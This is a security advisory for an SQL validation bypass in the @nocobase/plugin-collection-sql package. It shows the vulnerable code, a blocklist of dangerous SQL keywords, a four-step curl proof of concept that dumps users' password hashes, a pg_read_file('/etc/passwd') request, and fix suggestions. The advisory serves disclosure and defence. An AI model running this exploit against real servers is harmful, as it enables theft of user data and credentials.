GHSA-WRWH-C28M-9JJH
Vulnerability from github – Published: 2026-04-22 20:07 – Updated: 2026-04-22 20:07Summary
The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.
Affected component: @nocobase/plugin-collection-sql
Affected versions: <= 2.0.32 (confirmed)
Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)
Vulnerable Code
checkSQL is applied on create and execute
packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts
// Line 51-60 — execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
const { sql } = ctx.action.params.values || {};
try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
// ...
}
checkSQL is NOT applied on update
// Line 105-118 — update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
const transaction = await ctx.app.db.sequelize.transaction();
try {
const { upRes } = await updateCollection(ctx, transaction);
// No checkSQL() call anywhere in this path!
const [collection] = upRes;
await collection.load({ transaction, resetFields: true });
await transaction.commit();
}
// ...
}
The checkSQL function itself
packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28
export const checkSQL = (sql: string) => {
const dangerKeywords = [
'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
];
sql = sql.trim().split(';').shift();
if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
throw new Error('Only supports SELECT statements or WITH clauses');
}
if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
throw new Error('SQL statements contain dangerous keywords');
}
};
PoC
TOKEN="<admin_jwt_token>"
# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "exfil_collection",
"sql": "SELECT 1 as id",
"fields": [{"name": "id", "type": "integer"}],
"template": "sql"
}'
# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"
# Step 3: Update with dangerous SQL — bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"sql": "SELECT * FROM users",
"fields": [
{"name": "id", "type": "integer"},
{"name": "email", "type": "string"},
{"name": "password", "type": "string"}
]
}'
# Returns: 200 OK — no validation!
# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
-H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes
Impact
- Confidentiality: Arbitrary
SELECTqueries exfiltrate any table. Confirmed dump of theuserstable including password hashes. - Integrity/Availability: Although
checkSQLstrips after the first semicolon, dangerous single-statement operations likeSELECT ... INTO, subqueries with side effects, or database-specific functions (pg_read_file,LOAD_FILE,dblink) are all accessible through the update bypass. - Privilege escalation: On PostgreSQL,
dblinkenables lateral movement to other databases.pg_read_filereads arbitrary files from the database server filesystem.
Fix Suggestion
-
Add
checkSQL()to theupdateaction. The one-line fix:javascript update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... } -
Centralize validation in middleware rather than per-action. Apply
checkSQLin the resource middleware for any action that accepts asqlfield, so future actions cannot accidentally skip it. -
Strengthen the blocklist. The current list is missing
COPY(PostgreSQL file I/O and RCE),CREATE,ALTER,DROP,GRANT,SET, andEXECUTE. Consider switching to a parser-based allowlist that only permitsSELECTandWITH ... SELECTat the AST level rather than relying on keyword blocklisting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nocobase/plugin-collection-sql"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.39"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41641"
],
"database_specific": {
"cwe_ids": [
"CWE-89",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T20:07:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.\n\n**Affected component:** `@nocobase/plugin-collection-sql`\n**Affected versions:** \u003c= 2.0.32 (confirmed)\n**Minimum privilege:** Collection management permissions (`pm.data-source-manager.collection-sql` snippet)\n\n## Vulnerable Code\n\n### `checkSQL` is applied on create and execute\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts`\n\n```javascript\n// Line 51-60 \u2014 execute action: checkSQL IS called\nexecute: async (ctx: Context, next: Next) =\u003e {\n const { sql } = ctx.action.params.values || {};\n try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n // ...\n}\n```\n\n### `checkSQL` is NOT applied on update\n\n```javascript\n// Line 105-118 \u2014 update action: checkSQL IS NOT called\nupdate: async (ctx: Context, next: Next) =\u003e {\n const transaction = await ctx.app.db.sequelize.transaction();\n try {\n const { upRes } = await updateCollection(ctx, transaction);\n // No checkSQL() call anywhere in this path!\n const [collection] = upRes;\n await collection.load({ transaction, resetFields: true });\n await transaction.commit();\n }\n // ...\n}\n```\n\n### The `checkSQL` function itself\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28`\n\n```javascript\nexport const checkSQL = (sql: string) =\u003e {\n const dangerKeywords = [\n \u0027pg_read_file\u0027, \u0027pg_write_file\u0027, \u0027pg_ls_dir\u0027, \u0027LOAD_FILE\u0027,\n \u0027INTO OUTFILE\u0027, \u0027INTO DUMPFILE\u0027, \u0027dblink\u0027, \u0027lo_import\u0027, // ...\n ];\n sql = sql.trim().split(\u0027;\u0027).shift();\n if (!/^select/i.test(sql) \u0026\u0026 !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n throw new Error(\u0027Only supports SELECT statements or WITH clauses\u0027);\n }\n if (dangerKeywords.some((keyword) =\u003e sql.toLowerCase().includes(keyword.toLowerCase()))) {\n throw new Error(\u0027SQL statements contain dangerous keywords\u0027);\n }\n};\n```\n\n## PoC\n\n```bash\nTOKEN=\"\u003cadmin_jwt_token\u003e\"\n\n# Step 1: Create collection with valid SQL (passes checkSQL)\ncurl -s http://TARGET:13000/api/collections:create \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"name\": \"exfil_collection\",\n \"sql\": \"SELECT 1 as id\",\n \"fields\": [{\"name\": \"id\", \"type\": \"integer\"}],\n \"template\": \"sql\"\n }\u0027\n\n# Step 2: Verify checkSQL blocks dangerous SQL on create\ncurl -s http://TARGET:13000/api/collections:create \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\": \"blocked\", \"sql\": \"SELECT pg_read_file(\u0027\\\u0027\u0027/etc/passwd\u0027\\\u0027\u0027)\", \"fields\": [], \"template\": \"sql\"}\u0027\n# Returns: 400 \"SQL statements contain dangerous keywords\"\n\n# Step 3: Update with dangerous SQL \u2014 bypasses checkSQL entirely\ncurl -s \"http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection\" \\\n -X POST \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"sql\": \"SELECT * FROM users\",\n \"fields\": [\n {\"name\": \"id\", \"type\": \"integer\"},\n {\"name\": \"email\", \"type\": \"string\"},\n {\"name\": \"password\", \"type\": \"string\"}\n ]\n }\u0027\n# Returns: 200 OK \u2014 no validation!\n\n# Step 4: Query the collection to exfiltrate data\ncurl -s \"http://TARGET:13000/api/exfil_collection:list\" \\\n -H \"Authorization: Bearer $TOKEN\"\n# Returns: all rows from users table including password hashes\n```\n\n## Impact\n\n- **Confidentiality:** Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes.\n- **Integrity/Availability:** Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass.\n- **Privilege escalation:** On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem.\n\n## Fix Suggestion\n\n1. **Add `checkSQL()` to the `update` action.** The one-line fix:\n ```javascript\n update: async (ctx: Context, next: Next) =\u003e {\n const { sql } = ctx.action.params.values || {};\n if (sql) {\n try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n }\n // ... existing code ...\n }\n ```\n\n2. **Centralize validation in middleware** rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it.\n\n3. **Strengthen the blocklist.** The current list is missing `COPY` (PostgreSQL file I/O and RCE), `CREATE`, `ALTER`, `DROP`, `GRANT`, `SET`, and `EXECUTE`. Consider switching to a parser-based allowlist that only permits `SELECT` and `WITH ... SELECT` at the AST level rather than relying on keyword blocklisting.",
"id": "GHSA-wrwh-c28m-9jjh",
"modified": "2026-04-22T20:07:11Z",
"published": "2026-04-22T20:07:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/9134"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/851aee543efa894142e0f7be03eb55d9cec06a91"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocobase/nocobase"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.